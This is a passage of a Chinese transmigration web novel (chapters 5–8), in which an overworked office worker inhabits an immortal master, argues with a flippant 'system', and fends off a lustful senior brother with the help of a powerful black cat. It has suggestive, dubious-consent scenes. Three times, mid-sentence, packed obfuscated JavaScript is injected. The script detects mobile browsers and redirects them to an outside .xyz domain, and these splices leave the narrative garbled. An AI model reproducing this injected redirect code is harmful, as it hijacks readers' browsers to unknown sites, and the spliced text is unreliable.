谢因警惕三秒,端详此物——这是一只泰山崩于前而照睡不误的黑色小猫。谢因抬起手从头到尾撸了一遍,竟然感觉到一阵久违的神清气爽,还好还好,此等萌物应该不会是那种惨无人道的小说设定NPC,估摸着是原身的小灵宠。 萌物灵宠似乎是感受到了谢因的动作,惬意地翻了个身,肚皮朝天呼噜起来。 “哎……”呼噜得谢因的心软软的。 倒霉牛马谢因先生是一位彻头彻尾的猫奴,在经过接二连三死了又活的打击,眼前这只能呼吸的毛茸茸生物俨然成了这个世界唯一的一点温度。 如果他没有“久违”地听到那阵“悦耳”的千禧年手机彩铃的话…… “宿主您好,我是系统376号,恭喜宿主通过新手考核。” 谢因不得不承认,在这个遍地神经病的地方,376号那个不靠谱的家伙竟都让他产生了一点微不可查的思念。 “你的意思是,我死里逃生又被人一刀捅穿,这种难度只能算新手任务?” 哪个公司设计这么变态的实习考核一定会因为招不到人而破产的吧! “嘿嘿……这个嘛,宿主应该还记得我提示过你,渡云真人有件法宝,名唤「因果」,能回溯时间,让您全身而退,”376号略显谄媚地笑了两声,“毕竟也不是每个人都能当上穿书主角的,只有通过新手考核的天命之人才能获得穿书资格!因此在正式进入主线剧情前,我们穿越管理局都会考核您的能力。” “现在您已经逃出既定结局,使用「因果」回溯过去,”376号陡然拔高声音,“您真是机智又冷静,完成得又快又好!我越来越相信你能帮我度过实习期啦!” 还实习期,如果手边有电脑,谢因投诉信已经写了5000字:“那我如果没通过考核呢?” 376号理不直气也壮:“那在原世界加班猝死的您就彻底嗝屁啦!” 谢因:…… “可我没用什么道具,我是被人杀了才回来的,”谢因诚实坦白,“还有,所以现在是……” “八年前,故事的起点!”话题总算步入正轨,376号兴高采烈地回答,“也就是《仙堕》的开始,您刚才已经看到自己的结局有多惨了,所以请您从头开始修正整个崩坏的世界。八年前的您真是光彩照人,不愧是六界第一清冷师尊啊!” 不知为何,376号明明并没有实体,但他说这段话时谢因去却感受到了一些类似于左右声道环绕音的效果,像是被人从头到尾打量了一番。 “这里是渡云真人成仙后的闭关用的水月洞天,虽然审美略显丧葬,但看起来就很贵,”376号的声音从左耳穿到右耳,又在山洞里转了个遍,“原身常年在此处闭关,两耳不闻窗外事,一心练剑炼法宝,折腾他这些有灵力的刀刀剑剑瓶瓶罐罐。” “也不上班,纯摆烂。”谢因打心底里有点羡慕嫉妒。 “没错!所以你暂时不用担心你这个‘冒牌货’会穿帮,因为大部分人并不知道渡云真人究竟是个什么样的人。”376号接着说,“只要您能在故事结束之前修复好这个崩坏的世界,就能够解除与该世界的绑定回到现实,穿越所带来的‘猝死’结果也会被修正,简单来说就是我们能够帮助您原地复活,不加量不加价,童叟无欺质量可靠,还您健康身体。” 谢因一喜,他还能回到原来的世界? 这条件确实很诱人,虽然从这个376号嘴里讲出来一整个不靠谱。 “帮助我复活……你们不能直接帮我复活吗?为什么还要来这个世界做什么任务。” 376号像在背公式:“呃……这个,因为您是通过考核后被选中修复这个世界的人,您的死亡结果我们可以通过您修正世界的结果进行重构,但如果您不解除与这个世界的绑定,那么我们没有办法更改您的命运。” 行吧,世上没有免费午餐。谢因只好认命:“debug是吗,具体需要我怎么做。” “修好这个世界所有性缘脑,防止魔尊彻底堕化为魔,毁灭世界。” 魔尊?谢因想到穿越当天遇到的魔化的萧循,顿时浑身的力气都被抽干了……这个该死的设定真是一目了然,“……这个世界有什么不谈恋爱就会死的规则吗?” “并不是,”376号难得斟酌了片刻,“但这个世界可能有一个睡不到你就会死的规则,啊哈哈,毕竟这里是那种文嘛。” 不要把这种事情说得那么稀松平常好不好。 “就算是煌.文……”谢因对此已经有些麻木了,毫无廉耻心道,“也应该有主角吧,总不能每个人都要睡我。” 376号语气十分轻快且乐观:“哎,那当然了,宿主你不要太悲观啦!虽然这个世界上几乎所有你遇到的人都想睡你,但大部分都只睡了你一次,把你翻来覆去睡了很多次并且直接影响剧情的大猛1并不多,这个您可以放心哒!” 哪里值得放心啊? 见谢因一副两眼空空的摆烂脸,376号十分“贴心”地说:“虽然在这个崩坏世界出现的时候,这本小说目前的部分就已经不完整了,但我还是尽力抢救下了一些片段,供 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这个破世界不崩才怪。 谢因从这通篇三纸无驴的“所有人都想睡他”里勉强归纳总结出一点干货,和之前376号说的差不离——男主渡云真人有一位徒弟,也就是开头那个神经病萧循,身负魔种,一旦魔种在他体内生根发芽,这小崽子顷刻就会变成毁天灭地的大魔头,把这个本来就因为性缘脑岌岌可危的世界一拳锤爆。 “我现在想支持我那个素未谋面……不是,一面之缘的魔种小实习生了。”谢因还是很难把“徒弟”二字说出口,“能不能让他快点堕魔。” “可是那样的话,宿主你也只能跟着死在这个世界啦。” 一时不知道究竟是加班猝死更窝囊还是在这个破文里殉了整个世界更窝囊。 “……那还是等会儿推进这个方案,”谢因在脑内把这一条划到“容后再议”的备忘录里,“带我回来的那个法宝……「因果」呢?虽然我不知道我到底怎么启用它回来的,但现在是八年前,它应该还在吧,它有没有作用,能不能修正这个世界?” 谢因说着,果然在白玉床和猫猫边上看到了那个被人争相觊觎的法宝,那是一盏紫色的莲花灯,仿佛是琉璃质感,却蕴着些微莹润的白色流光。样子是挺漂亮的,但按照谢因目前这点“道行”,很难看得出这破灯到底有什么好觊觎的。 这次376号没有废话,直接甩了一段开头过来。 “……渡云真人为求修炼法宝「因果」,偷用禁术,走火入魔,致使体内灵脉尽碎,也让法宝碎裂散落各界。同时,炉鼎体质暴露,五界为之蠢蠢欲动,皆向仙界而来。” 谢因明白了,谢因闭嘴了。 他总算知道自己身上这些挥之不去、如影随形的疼痛是哪儿来的了。 灵脉断了、法宝碎了、修为没了、记忆全无,还被迫觉醒了大号“唐僧”的命运,有九九八十一难等着自己。 天崩开局,不过如此。 哗哗—— 就在此时,一阵诡异的风灌入这洞府之中,催得洞府结界处白玉铃兰簌簌响动,如细雪纷纷而下。 “有人?”谢因蹙眉,已经相当熟练地指挥系统给人物介绍,“是谁?” “根据剧情……应当是你师兄,兰棹辞。” 376号的语气甚至有点雀跃:“记得刚才看的剧情吗!这位就是本书开局第一个来睡你的NPC啊!” 5. 不知春睡(上) 为了让谢因能够更好地进入剧情,376号进步神速,零点几秒的功夫,一页带着人物大脸和生平介绍的PPT赫然在谢因面前展开。 “兰棹辞,仙界十二掌司之一,仙界执行部门‘晏清司’现任掌门,”376飞快地介绍,“不苟言笑,雷霆手段,名下徒子徒孙很多,都对他高强度的教育方针怨声载道。他是目前能够进行测算的数据中,屹立仙界百年不倒的第一战力哦!” 376介绍完,又对着谢因点点点:“顺带一提,原身渡云真人本是晏清司的二把手,但你从不上班天天摆烂,所以整个晏清司的工作由卷王兰师兄一肩扛了,但兰棹辞似乎乐在其中,非常爱上班,还以一己之力,把晏清司的kpi卷到了仙界十二司之首。” 谢因拒不承认:“摆烂的是原书的渡云真人不是我,我带的组员也很多,年终奖20万OK?” 376号装没听见:“哦对了,你们俩从小一起长大,是不折不扣的郎骑竹马,同门师兄弟、共负命运,这年头读者们就爱看这一出爱与恨同党啊……” “看起来是个心软的好人。”谢因说,他要是有这种上司恐怕就不会落得个猝死的结局了。 376号十分同意:“确实,他的服务意识也很强,熟练掌握各种体/位,后面章节也有他哦,蒙眼PLAY什么的,非常注重双方的体验呢!” “闭嘴,0个人问你了。” 不过说起上司,谢因又想起那抹幽红色的身影,也不知道那个“温叙”是不是也回到了八年前。毕竟那时候白光一闪,他自己被卷进去了不假,周围的人有没有被牵连就不知道了。 想到了他,谢因顺口就问了376号:“对了,温叙……原作里,现在,他是做什么的?” “温叙?”376号那头沉默了一会儿,“抢救的这些片段里没有这个人呢,宿主你确定他叫这个名字吗?” “哦,没有就算了。”谢因有些沮丧,与现实世界唯一的连结就这么断了? 还是说,少了个人陪自己倒霉于心不甘?啧。 可那个时候,他明明听见有人喊他的名字。 不过那人看起来深不可测,比自己这一身惨相不知道好上多少倍,还是先应付眼前的麻烦吧。 376号的时停下线前,不忘提醒谢因:“虽然目前还没生成新任务,但宿主你可一定要记得不能露馅啊!要是被发现你代替了原身,仙界真的会把你吊起来打得魂飞魄散的!” 谢因:…… 行,不就是个在煌文里出现过的隐形癫子,兵来将挡,水来土掩,反正不能比现在更倒霉了。 随着376号的声音彻底消失,时间又平缓地涌动起来。 兰棹辞来得很急。他踏进洞府的一刻,谢因正在盯着那颗在他洞府上方充当光照来源的寒玉髓,目光是一片死寂里暮气沉沉的探究,丁点儿要起身迎接的打算都没有,火气更甚。 “渡云长老好雅兴啊。” 事实上,谢因正思考怎么才能不露馅——这位名义上的师兄生得霁月清风,一看就很符合“修仙之人”的刻板影响,一副修为深厚、不论何等乌遭背景,只消他往那儿一站,便是皑皑陌上雪、杳杳故人归的样子。 只是霁月清风的师兄毫不客气,几息间已欺身近前,“你到底想做什么!伙同魔族浊灵入侵流光祭,闹得外头大乱!你倒是还在这里……逗猫玩儿?究竟把晏清司的脸面,扶摇的安危置于何地!” 哇哦,好熟悉的嫁祸套路。 谢因只觉得手边的黑猫受到了兰棹辞的惊吓,耳尖一动,浑身颤了颤,也不知睡得安不安稳,顺着猫咪的颈背又rua了两把,故作深沉。 但其实此人脑子里已经开始放炮:魔族的浊灵是什么?晏清司负责什么?扶摇是什么?流光祭又是什么玩意儿?听起来像文旅局搞什么噱头做的花灯会。 这该死的穿书系统真是对他百分百绿色无污染全方位保护,连点记忆都不给他加载,导致他现在看什么都是一片空白,只能仰赖他自己。谢因只好半死不活地开口试探:“魔界要是打上门来了,师兄还有闲心来找我发脾气?” 兰棹辞原本一脑门的官司和一肚子心思等着发作,张口正要骂,却被谢因这句话噎住了,耳根突然一红:“你叫我……什么?” 谢因懵然不知:“师,师兄啊。” 兰棹辞眼神闪烁了一下,而后似是冷冷一笑:“师弟这是在嘲讽我?” 谢因:= =? “幼时,你我二人相继拜入师门,同吃同睡同修炼,你聪明,我卯足了力气追赶,才厚着脸皮让你们称我一句“师兄”,”兰棹辞看着谢因,竟然驴头不对马嘴地开始读回忆,言辞里还有几分不知从哪儿借来的深情,“后来,呵,你我一起面对扶摇内斗,鸿蒙动荡,师父仙逝后,我不得不匆忙继任掌司,可那时起,你便不再喊我师兄,数百年的情分,我一直以为尽了。” 兰棹辞向谢因逼近两步:“如今魔族对我扶摇虎视眈眈,浊灵已然穿越千年结界进犯扶摇,师弟倒是愿意喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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活了这辈子岁数的人不能,至少不应该…… 这中间到底出了什么差错? 谢因并未意识到自己现在这幅“两眼空空”实则大脑飞速运转的模样在他兰师兄眼里,是默认,是迷茫,是误入歧途的师弟对自己发出无声的求助。 兰棹辞心中又痛又痒,他师弟一向是很好看的。不似他被晏清司一片规制的死气沉沉,斗大的天道压在头顶,一步也不能行差踏错,但渡云却是照旧我行我素,真像一片野鹤闲云。 高处不胜寒,他是天才,随性傲慢,又难攀折。 这样的人,而今他簪发尾的玉兰,又缘何碎了一地呢? 谢因发现这位本该来找他谈正事的部门老大突然就哑了嗓子,眼角微红,强行禁锢自己,开始说胡话:“你的「因果」回应你了吗?睁开眼睛看看吧……与其这样,还不如让我来……” 6. 不知春睡(下) “不是,等等,”谢因身子一软,“浊灵和结界的事不谈了?您的重点呢?” 兰棹辞像是受到了什么感召,整个人的“霁月清风”和“严肃正直”都仿佛被系统吃了,他扣住谢因的手腕,想要将人反摁在榻上,完全不理会谢因的话,只一味念台词:“你应该会喜欢这样吧?从此你什么都不用做,只需要乖乖躺在我的洞府里,你做的这些丑事,我都会帮你遮掩……” 一边说着,他另一只手从谢因耳际的长发向下探去,最后落在他原本就因修炼反噬而散乱的衣襟。 这个角度,甚至能看清他松散衣襟的内里,气息悬在他耳畔,已经乱得不像修行之人。 谢因慌了,但他慌的不是兰棹辞这幅突然情欲上脑不管不顾要和自己“比翼双飞”的样子,他慌的是——他这具身体居然毫无反抗的想法! 体温陡然升高,被汹涌的热意席卷包裹,正如尚未穿回八年前,萧循触碰他时的感受。 好热,好难受,好想…… 等等,谢因脑中警铃大作,狂敲系统。 376号姗姗来迟:“我这时候打扰你好吗?你们不是马上要办事儿了吗?需要我帮你搜索一些辅助工具渡过处男难关吗?不过……会萎吧。” 谢因出离愤怒:“你实习期想不想过了!我为什么会……那样?” 376号的态度果然转变:“宿主你因为修炼禁术走火入魔,炉鼎体质暴露,跟你瑟瑟会疯狂地涨修为,所以导致再正常的人碰到你,哪怕前一秒还在好好说台词,下一秒都会ooc变成瑟瑟狂魔啦。” 谢因没听懂:“什么体质?” “炉鼎体质,不过这本书里的有点特别,翻译一下的话……呃,就是魅魔体质啦!”376号用最一本正经的口吻讲着最瑟禽的设定,“不但别人一靠近你就想和你瑟瑟,你一靠近猛1也很想瑟瑟,整个世界就是一个巨大的瑟瑟……咳,扯远了,毕竟本世界的一切设定和剧情都是基于这个体质发展的,所以很难在剧情内解决‘发/情’问题的。” 这是什么狗屁体质啊?!谢因想死:“我是有道德底线的,我不接受和陌生人打. 炮。” “这不是陌生人,这是青梅竹马好师兄啊!”376号嘴贱了一下,而后回答,“系统根据计算给出最优解决方案是暂时虚与委蛇委曲求全渡过难关,这个兰棹辞虽然想睡你,但好歹一表人才,是最合适带你了解这个世界的的新手入门Npc,再不济让他对付以后黑化的萧循也可以——啊,最重要的是他活很好。” 谢因:“……这福气给你要不要。” “眼一闭一睁一天就过去了!” 谢因再一次把这该死的系统手动屏蔽到九霄云外去了。 情势实在容不得他拒绝。正如他这位一碰到他就ooc的师兄所言,他如今一点法力都用不出来,再加上这个炉鼎体质,恐怕在他们这些人眼里跟砧板上的鱼肉没两样,就算兰棹辞对他没有使用一点灵力,凭借一个成年人的力量也足够对付现在虚弱的谢因了。 一浪高过一浪的汹涌情.潮不断撞击他的理智,他已经隔着衣服感受到兰棹辞的体温,也感受到他的动作。 “等一下……嗯,扶摇,魔族……” 谢因伸手去推,只感受到一阵绵软无力。 可他偏偏,更想迎合,更想向下堕落…… 有没有救一下啊。 “喵嗷——” 千钧一发之际,一道黑色的虚影一晃,速度之快,碾压被下半身短暂夺舍的兰棹辞,而后,谢因只感受到一阵巨大力量的冲撞,整个山洞都被震得晃动了两下,一股蛮横的力气把人生生震开一尺! 谢因被甩出几米远,好不容易爬起来,定睛一看,发觉作怪的竟是那只一直贴着自己颇有睡相的小黑猫。 黑猫似乎是被扰了清梦,宝石红色的眼睛骤然变成金色,极为不爽,浑身的毛都炸了起来,耳朵向后飞起,不悦地冲兰棹辞“哈”了一口气,见兰棹辞不理睬自己,愈发生气,趁其被自己震晕,以飞快的速度和惊人的力量,叼着他的领子,把这位渡云真人口中的“师兄”一气呵成地丢出洞府外。 一阵咣榔响声,外面没了动静。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809959|175186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>做完这一切,黑猫心满意足地砸吧了一下嘴,又贴着浑身滚烫的谢因,蜷成一团躺下了。 方才将兰棹辞扔出洞府的那股巨大灵力像抡天力锤一记,把谢因也震了个天旋地转,他本想爬起来去看看兰棹辞的死活,可脚下发飘,眼前突然一黑,□□脆利落地锤进了梦里。 也行,反正他现在这个身体状态也不是很想醒着。 好猫,好猫…… 他跌进了又一个滚烫的怀抱,周遭环境飞快倒退,谢因像是又回到了自己的世界……梦里他回到了哪一次年会,谢因没架住劝酒多喝了几杯,他摇摇晃晃走向网约车,晕头转向地关上车门后,车门突然“咔嚓”一声被内锁上了。 “冷……”谢因迷迷糊糊地冲驾驶座嘟哝,“师傅关窗,风吹的头,头疼。” 驾驶座没有动作,几秒后,不知哪里传来一道带笑的温和声音:“听他的,关了。” 车窗被缓缓关上,车内的气温陡然升高,隔绝了窗外小年夜的热闹,极小的空间里流淌着低沉缓慢的法式音乐。 “都关上。” 那个声音又说,而后,谢因似乎看到后排与前排之间缓缓升起一块挡板,谢因没见过那么牛逼的网约车,以为自己是眼睛发晕,伸手去摸,险些被关上的挡板夹住。 突然,一直冰冷的手抓住他的手背,抓了回来,顺势将谢因一带,另一抹冰凉像蛇一样附上了谢因的腰。 “别乱动。” 酥麻的痒意自那截有力而冰冷的手臂触碰起,再也无法收拾。谢因像一件礼物一样,一层一层被人拆开,最后才是领带,修长的手指从尾部缠绕到领带根节,向他的方向拉扯,就像一根抵住欲望的项圈。 而后他像是被抛进了大海,冰凉的触感浸透全身,他上下起伏,无法呼吸,汹涌的海浪朝他打开—— 谢因最后才勉强张开眼睛。 面前那个优雅地,艳鬼一样的男人,正在缓慢用目光、呼吸、手指掠. 夺他身体每一寸的男人。 竟然长着一张温叙的脸。 老天奶啊……!!! 7. 扶摇卷王 有时候一个人梦到领导也挺无助的,但真的力道刚刚好,懵逼不伤脑。 洞中无春秋,谢因再次醒来时,身上的热意已经尽数消退了,而灵脉断裂带来的疼痛也被这具二极管一样的身体消化泰半,剩下些无尽的疲惫和困倦挥之不去,倒是跟他半死不活的上班状态很契合,完全不用磨合。 难以磨合的是……谢因一激灵从白玉床上坐起来。 刚才那个梦…… 为什么自己会在梦里和温叙……他又不是上班有瘾,难道—— 谢因把怀里的小猫提溜起来,正在呼噜的小黑猫被拉成好长一条,一双已经恢复宝石红色的眼睛很不爽地看着他。 好像啊。谢因心想,难道是因为他觉得这只猫很适合给温叙猫塑吗? 谢因沉默地盯了一会儿这条黑猫,想起方才它救自己于危难之间,掏心掏肺地夸赞:“你是哈利O特的神奇魔法猫,甩那什么劳什子系统九条街。” 猫好,小猫拯救世界,这个世界没有小猫还能转?硬撑罢了! “叮咚!” 沉寂许久的系统页面终于再次出现在谢因面前,一行用标准仿宋GB-2312打出的任务跃然眼前。 “恭喜宿主,对本世界探索已达1%,现在更新任务:请宿主查清浊灵入侵扶摇一事,洗清自己的嫌疑——再次提示,隐藏穿越者的身份,如被发现,视作任务失败。” 有任务就好。谢因活动了一下身体,又对镜练习了一下这位清冷师尊的皮笑肉不笑,确信能吓死一群实习生,满意地收了神通。 根据兰棹辞所述,现在有人勾结魔界释放了一种名叫“浊灵”的东西进入了仙界,而现在仙界正在举办“流光祭”,约等于春节大集,他原身所在的部门叫“晏清司”,这个仙界执行部门似乎还负责流光祭的安保。 可渡云闭关多年,就算浊灵入侵,安保出现问题,兰棹辞为什么第一反应会觉得是渡云与魔界勾结导致的?又来找自己发什么疯? 谢因戳了戳376号:“浊灵具体是指什么。” 376号抓取信息的速度倒是很快:“浊灵是一种魔界产物,魔族也分好几类,有生来就是魔认认真真修行的一般好魔,也有专门依靠吸食人的恶念增加修为的low货,而在扶摇……哦,扶摇就是你现在住的地方,你理解成仙界也可以啦,在扶摇庇护各界后,魔族无法轻易破圈行走,只能在大荒九崔地盘生活,那地方——啧啧,四个字,暗、无、天、日啊。” 谢因:“很少见的设定,魔族也有好魔。” “刻板印象要不得啊!”376号说,“本书的原作是接受过现代教育的大学生,新时代新思想,给人贴标签是不利于时代进步的!” 谢因:……大学生写论文发刊之余居然还有力气写煌文,那么耐造将来一定能打一辈子工的。 376号继续解释:“可是世间的恶念其实也很有限,那些坏魔不够吃,或者嫌吃得不够好?就制造出一种名为‘浊灵’的东西散布四界,通过附在人身上吸收他们身体里的恶念不断壮大自己,不仅能够放大人心之恶,控制人的情绪、情感,甚至能够赋予他们一些力量,做出更加疯狂的事情,这样他们就能源源不断吸收更多恶念啦。高等级的浊灵甚至能够脱离附身独立行走,进化出自我意识,与妈生魔几乎没什么区别,还更加难对付些。” “明白了,寄生掠夺关系,”谢因简易翻译成方便自己理解的语言,在他阅读原文片段时,并没有发现相对应的名词解释,只能说如果原作者没有定义这些,这个世界也在按照一些破破烂烂的逻辑运行着。 接着376号又从这个破破烂烂的世界观里摘出了一点介绍发给谢因。 《仙堕》这本书的框架下存在着六界,包括妖、魔、鬼、人、神、还有他目前所在的仙界——扶摇,扶摇是十二座悬浮于空中的仙岛组成的,于云海之间,凌驾于其他众界之上,十二座仙岛像十二个办公室,各自负责不同的仙界事务,“晏清司”就是其一,所以虽然仙界看起来祥和宁静,实际上也逃不开职场内部矛盾。 至于神界,只听说有这个概念,但从没有记载它在哪里,长什么样子,对于普通修真者来说,仙界就已经是他们所了解到最接近神的地方了。 谢因又问,“六界这么多生物,这些浊灵种在谁身上都能‘发芽’?” “是的,仙魔人妖鬼,不论是肉体凡胎还是仙骨魂魄,浊灵无孔不入,因此仙界培养了一大批能够驱散浊灵的弟子,也就是你和兰棹辞所在的晏清司,”376号说,“晏清司在其他几界都设立了办事处,负责处理浊灵,这也是仙界受人尊重,且和其他几界关系一直不错的缘故!” “扫.黑办和地方扫.黑小组是吧。” 他意识到,这个世界本质仍然是弱肉强食、修为至上。即便原主沉迷闭关已经摆烂很多年了,但他所在的晏清司显然是仙界的重要部门,打手众多,责任重大。如果原主修为尚在,恐怕即便暴露炉鼎体质,也不会那么轻易就被人得手。 “按设定,扶摇的结界这么强,确实只有内外勾结结界才有可能被打开……但根据原文设定来看,原身只是懒得管,目前并没有对扶摇的深仇大恨,”376号又是一阵勤勤恳恳的翻书声:“啊,这部分原文遗失,我们也无从知道真相。” “好吧,多半是出叛徒了,友商挖人,带核心技术跳槽,还嫁祸到了我头上,”谢因心说,“既然如此,先下手为强。” 谢因活动了一下勉强组装完毕的四肢,抱着猫出了洞府,洞外是一片流光溢彩的云霭,兰棹辞还未醒来,像具尸体似的斜在门口一片祥云上。 谢因扶正兰棹辞的身子,而后十分清脆地,抬手给了他脑袋一巴掌。 “啪——!” 嗯,好听,是好脑袋。 兰棹辞幽幽醒转,看见谢因好端端站在他面前,居高临下,还带着点睥睨雄视的味道,一时不知道自己身在何处,是来干什么的。 “我觉得你我之间存在一些误会,”谢因把手揣回袖子,“这么多年,师兄为晏清司鞠躬尽瘁,死……春蚕到死丝方尽,我又怎会不知。” 水月洞天修建在墨画云山之中,终年白雪裹覆,他如今凡胎□□,还没个羽绒服,冷得发抖,只好贴近袖子里的小猫捂手。 兰棹辞发难的舌头瞬间软了下来:“……你刚才,怎么会……你果真的跟那些邪魔外道同流合污?” 谢因摇了摇头,满脸镇定地不能再镇定:“这是我游历时有缘结契的灵宠,与我一同闭关修炼,应该是你吓到它了才会这样。” 兰棹辞脸色一黑,瞥了一眼谢因袖子里的小黑猫,黑咕隆咚的小猫和袖子的阴影几乎融为一体,但宝石红色的眼睛格外亮,正呈一个十分不爽的下三白眼,瞪着他。 “灵宠?你以为我好诓骗吗?明明……” 谢因没给他继续歪楼的时间:“师兄来既然是为正事,我们也别在这儿浪费时间,出事的结界在何处?” 要尽快了解这个世界,不能老站桩对话,多说多错,错了就会露馅。 兰棹辞拼命压下火气,见谢因已恢复正常,自己也只好端起架子,咬牙吐出一句“管好你的灵宠”后,便直起身来,不知使了什么法术,几道黄符自他肩头飞起,衣裳发型瞬时焕然一新,又回到了那副拒人于千里之外的“晏清司掌门”壳子里去:“跟我来。” 出事的结界就在谢因的“水月洞天”不远,不过转了两个弯,便见一面巨大的水镜浮于天际之间,水镜折射出一道巨大的屏障,分明是无光无色的结界,却让人清晰看到上头如贝母般流淌的暗纹,尽显仙界威严——只是此刻几个负责看守结界的晏清司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809960|175186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟子在不远处垂手而立,像是天塌了。 兰棹辞脸色虽然仍不好看,但讲话正常了许多,“一早,晏清司发现了几个行为异常的弟子,再经查证,乃是浊灵之祸。压制驱散后,我立刻派人彻查了所有结界,而出问题的,便是离你水月洞天最近的西北角这一道!” “法力足够打开结界的人本就寥寥无几,你闭关多日,离你最近的结界又恰好出事,我当然第一个来问你!谁知道你……” 好单纯的逻辑,谢因这下是真信这本小说是大学生的课外消遣了,剧情如此直给,竟然一点脑子都不多用。 兰棹辞平板板说着,脸上又飞上一层难堪的红。 “谁知道撞见一份大礼是吧。”谢因面无表情地吐槽,兰棹辞的耳朵瞬间红得发紫。 谢因打量了一番结界,也看不出个所以然,毕竟仙法制成的东西,定然不会在硬件上看出破绽。从兰朝辞的态度看来,浊灵入侵仙界绝非小事,但暂时只附身了几个弟子,还没有造成太大的后果,现下最好是在闹出更大的问题前偷偷把此事查清,及时止损。 听起来这应该是完成任务最稳妥的做法。 见四下无人,谢因向兰棹辞挪了一步,端着一张堪称完美的清冷师尊脸,压低声音:“师兄,今日之事念在多年师兄弟情分上,便不追究了。” 兰棹辞一副见鬼了的表情。 “方才在水月洞天,师兄突然强迫我,食色性也,能理解,”谢因见兰棹辞装傻,“好心”提醒,“流光祭如此重要的时刻,掌司不第一时间处理漏洞,却忙于……咳,传出去那些常年跟随你修道飞升的弟子们作何想?师兄争做仙界第一人的伟大志向岂不是中道崩殂。” 兰棹辞木着脸说:“渡云长老何意,不妨明说。” 谢因循循善诱,兰棹辞这种卷王谢因在职场见多了,既然卷,那就一定特别好面子,谢因面上浮现出一个像素点的笑:“多年来我将晏清司的公务丢给师兄,实属不该,浊灵入侵一事,我愿与师兄一同查清,方才水月洞天,我也只当做了个梦,但……” 兰棹辞也不是傻子,冷笑一声,了然道:“师弟想让我隐瞒你修炼法宝被反噬,灵脉尽断的事。” 谢因眯眼:“诶,我们各自将方才在水月洞天听见的、看见的都暂时忘记,先把魔族浊灵的事情料理干净,若之后师兄还觉得我是个祸害,再行处置也不迟。” 谢因使出自己在职场上修炼的,像只老狐狸似的谈判技巧:“你还怕我赖账逃跑吗?” 兰棹辞的表情似有松动。 担心软的不行,谢因附加了点硬的:“哦,要是师兄不想跟我合作,那我的灵宠什么时候再‘错乱’一回,把师兄这‘仙界第一’拍得毫无反手之力,我可管不了,上次在我洞府没人看见,下次要是在什么正式场合,众目睽睽之下……” 兰棹辞被击沉了。 各种意义上的。 兰棹辞这人清心寡欲几百年,到处树立完美修真第一人的形象,怎么能容忍自己的高大伟岸一朝破碎,被“信徒”弃若敝履的事情发生。 领导都是要面子的,何况当了几百年的领导。 重新审视谢因,他这个师弟像变了一个人,少了点鹤唳松涛的遥不可及,多了些有条不紊的凡人味儿。 兰棹辞要是穿的,恐怕会对此“凡人味儿”做出更好的注解,名曰班味儿。 于是这人罕见地心虚了:“道心不稳的仙门弟子容易被浊灵附身,为魔族驱使,这都在其次,我担心那些修为更高、怨气更重的浊灵已经化成魔型,藏在扶摇仙山之中,若真如此,更是无从排查。” 也不晓得这个兰棹辞是否有些隐形debuff乌鸦嘴,他话音刚落,便见不远处慌慌张张跑来一个小弟子,急得站都站不稳:“掌司!不好了!流光祭……观剑台上出事了!” 8. 流光神祭(上) 兰棹辞与谢因同时一凛。 扶摇的流光祭乃是仙家六十年一度的盛事,除却各类节热闹非凡的庆祝活动和表彰大会外,扶摇众仙门还会在这几日将自己最得意的弟子送上擂台大比,用以彰显门风。 光是来观礼的修士便不知凡几,更别说他们可能也带着自己的弟子与扶摇仙君们切磋,整个流光祭挤满了有头有脸的人物。 若是浊灵入侵之事暴露,扶摇还怎么有脸面去向下管理?派驻六界的事务司还怎么工作?负责结界与安保工作的晏清司必然被问责,按照这本小说头脑简单的逻辑,渡云真人难辞其咎。 到时候渡云使用禁术修炼法宝之事暴露,就算任务不失败,用系统的话来说,他也要被仙界众人吊起来打,彻底嗝屁。 难搞啊…… “对了,忘了提醒你,”376号窜到谢因耳边,“今年的流光祭上还有一件大事,渡云真人要在流光祭上选定亲传弟子,所以观礼的人比往届更多。” 谢因的脑子一个有两个大:“什么意思,我要选定亲传弟子?那萧循……?” “都说了现在是故事一开始啦,”376号语气轻快,“如今萧循还是个十六岁的小狗崽子呢,原书里渡云就是在流光祭上收他为徒哒!” 376说完,飞速消失,面前兰棹辞看向谢因的目光又阴沉起来:“若是浊灵入侵一事传扬出去,叫扶摇失了六界威信……” 极为危险的目光扫向谢因:“哼,我与师弟,都摘了仙者的名头,打入幽冥往生去罢!” 谢因沉默了几秒,而后意外冷静地回答:“好,我与师兄一道查明。” 兰棹辞一愣。他师弟是这种人设来着吗? 方案出错嘛,他有经验,第一步,不推卸责任,稳固小组组员军心。 “未免打草惊蛇,”第二步——不确定的工程现场最好还是亲自确认,他当机立断,“先去流光祭看看,若有异动,暂且压下,顺藤摸瓜。” 方案出错第三步——如果实在没法修正错误,就赶紧找个替罪羊。 显然谢因没说。 “好,都听你……”兰棹辞噎了一下,似乎意识到这样的话在这种情况下有些不妥,险灵灵地把话团吧团吧咽下去,差点憋出内伤。 奇怪,自己到底为什么会这样呢?被下毒了? …… 